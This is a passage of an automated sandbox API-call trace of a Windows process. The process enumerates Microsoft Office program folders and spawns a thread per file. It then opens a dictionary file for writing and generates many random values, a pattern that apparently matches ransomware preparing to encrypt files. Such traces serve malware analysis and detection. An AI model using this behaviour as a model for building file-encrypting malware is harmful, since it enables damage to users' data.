[0063.949] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0063.949] FindClose (in: hFindFile=0x409da8 | out: hFindFile=0x409da8) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486588) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef450) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419298) returned 1 Thread: id = 547 os_tid = 0xf7c [0049.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e46bf8 [0049.354] wcscpy (in: _Dest=0x5e46bf8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0049.354] wcscat (in: _Dest=0x5e46bf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0049.354] wcscat (in: _Dest=0x5e46bf8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*" [0049.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486f28 [0049.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409de8 [0052.195] wcscmp (_String1=".", _String2=".") returned 0 [0052.195] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.195] wcscmp (_String1="..", _String2=".") returned 1 [0052.195] wcscmp (_String1="..", _String2="..") returned 0 [0052.195] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0052.195] wcscmp (_String1="ACWZDAT12.ACCDU", _String2=".") returned 1 [0052.195] wcscmp (_String1="ACWZDAT12.ACCDU", _String2="..") returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e29bc8 [0052.195] wcscpy (in: _Dest=0x12e29bc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0052.195] wcscat (in: _Dest=0x12e29bc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0052.195] wcscat (in: _Dest=0x12e29bc8, _Source="ACWZDAT12.ACCDU" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" Thread: id = 548 os_tid = 0xf80 [0049.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e46c68 [0049.355] wcscpy (in: _Dest=0x5e46c68, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0049.355] wcscat (in: _Dest=0x5e46c68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0049.355] wcscat (in: _Dest=0x5e46c68, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*" [0049.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487d98 [0049.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0051.705] wcscmp (_String1=".", _String2=".") returned 0 [0051.705] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.705] wcscmp (_String1="..", _String2=".") returned 1 [0051.705] wcscmp (_String1="..", _String2="..") returned 0 [0051.706] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0051.706] wcscmp (_String1="ACCOLK.DLL", _String2=".") returned 1 [0051.706] wcscmp (_String1="ACCOLK.DLL", _String2="..") returned 1 [0051.706] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0051.706] wcscmp (_String1="BCSAddin.dll", _String2=".") returned 1 [0051.706] wcscmp (_String1="BCSAddin.dll", _String2="..") returned 1 [0051.706] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0051.706] wcscmp (_String1="ColleagueImport.dll", _String2=".") returned 1 [0051.706] wcscmp (_String1="ColleagueImport.dll", _String2="..") returned 1 [0051.706] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0051.706] wcscmp (_String1="FAXEXT.ECF", _String2=".") returned 1 [0051.706] wcscmp (_String1="FAXEXT.ECF", _String2="..") returned 1 [0051.706] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8a20 [0051.706] wcscpy (in: _Dest=0x96f8a20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0051.706] wcscat (in: _Dest=0x96f8a20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0051.706] wcscat (in: _Dest=0x96f8a20, _Source="FAXEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" [0066.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c [0066.065] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0066.065] wcscmp (_String1="MSOSEC.DLL", _String2=".") returned 1 [0066.065] wcscmp (_String1="MSOSEC.DLL", _String2="..") returned 1 [0066.065] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0066.065] wcscmp (_String1="MSOSEC.XML", _String2=".") returned 1 [0066.065] wcscmp (_String1="MSOSEC.XML", _String2="..") returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447760 [0066.065] wcscpy (in: _Dest=0x447760, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0066.065] wcscat (in: _Dest=0x447760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0066.065] wcscat (in: _Dest=0x447760, _Source="MSOSEC.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" [0066.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0066.067] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0066.067] wcscmp (_String1="MSSPC.ECF", _String2=".") returned 1 [0066.067] wcscmp (_String1="MSSPC.ECF", _String2="..") returned 1 [0066.067] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e638 [0066.067] wcscpy (in: _Dest=0x45e638, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0066.067] wcscat (in: _Dest=0x45e638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0066.067] wcscat (in: _Dest=0x45e638, _Source="MSSPC.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" [0066.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c [0066.068] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0066.068] wcscmp (_String1="otkloadr_x64.dll", _String2=".") returned 1 [0066.068] wcscmp (_String1="otkloadr_x64.dll", _String2="..") returned 1 [0066.068] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0066.068] wcscmp (_String1="OUTEX.ECF", _String2=".") returned 1 [0066.068] wcscmp (_String1="OUTEX.ECF", _String2="..") returned 1 [0066.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e938 [0066.068] wcscpy (in: _Dest=0x45e938, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0066.068] wcscat (in: _Dest=0x45e938, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0066.068] wcscat (in: _Dest=0x45e938, _Source="OUTEX.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" [0066.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0066.069] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0066.069] wcscmp (_String1="OUTEX2.ECF", _String2=".") returned 1 [0066.069] wcscmp (_String1="OUTEX2.ECF", _String2="..") returned 1 [0066.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446b28 [0066.070] wcscpy (in: _Dest=0x446b28, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0066.070] wcscat (in: _Dest=0x446b28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0066.070] wcscat (in: _Dest=0x446b28, _Source="OUTEX2.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" [0066.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0066.071] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0066.071] wcscmp (_String1="OUTLVBA.DLL", _String2=".") returned 1 [0066.071] wcscmp (_String1="OUTLVBA.DLL", _String2="..") returned 1 [0066.071] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0066.071] wcscmp (_String1="PMAILEXT.ECF", _String2=".") returned 1 [0066.071] wcscmp (_String1="PMAILEXT.ECF", _String2="..") returned 1 [0066.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446aa0 [0066.071] wcscpy (in: _Dest=0x446aa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0066.071] wcscat (in: _Dest=0x446aa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0066.071] wcscat (in: _Dest=0x446aa0, _Source="PMAILEXT.ECF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" [0066.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050 [0066.072] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0066.072] wcscmp (_String1="UmOutlookAddin.dll", _String2=".") returned 1 [0066.072] wcscmp (_String1="UmOutlookAddin.dll", _String2="..") returned 1 [0066.073] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0066.073] FindClose (hFindFile=0x40a128) Thread: id = 549 os_tid = 0xf84 [0049.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic")) returned 0x20 [0051.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC", dwFileAttributes=0x20) returned 1 [0054.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf7c [0054.925] GetFileSizeEx (in: hFile=0xf7c, lpFileSize=0xd49fa90 | out: lpFileSize=0xd49fa90*=1651918) returned 1 [0054.932] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x1934ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.932] ReadFile (in: hFile=0xf7c, lpBuffer=0xd49fa14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd49fa10, lpOverlapped=0x0 | out: lpBuffer=0xd49fa14*, lpNumberOfBytesRead=0xd49fa10*=0x4, lpOverlapped=0x0) returned 1 [0054.934] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0054.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601e8 [0054.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460238 [0054.934] NtQuerySystemTime (in: CurrentTime=0xd49f9f0 | out: CurrentTime=0xd49f9f0*=132174898189200000) returned 0x0 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x74171835 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x4e2a70ae [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x157ebbe5 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x797c039e [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x561a342d [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x3aa3af72 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x33a2ecf4 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x49aff57a [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x264453f [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x7228548d [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x715dbbe8 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x5fd89ff0 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x691e9c0d [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x4515d229 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x8ff28bd [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x73a76274 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x7388e015 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x7b5b5ac0 [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x1f0ad08c [0054.934] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x1420c71c [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x53608092 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x23802897 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x7c8a58ef [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x5b1af2d6 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0xb27a4ca [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x43a67b6f [0054.935] RtlRandomEx (in: 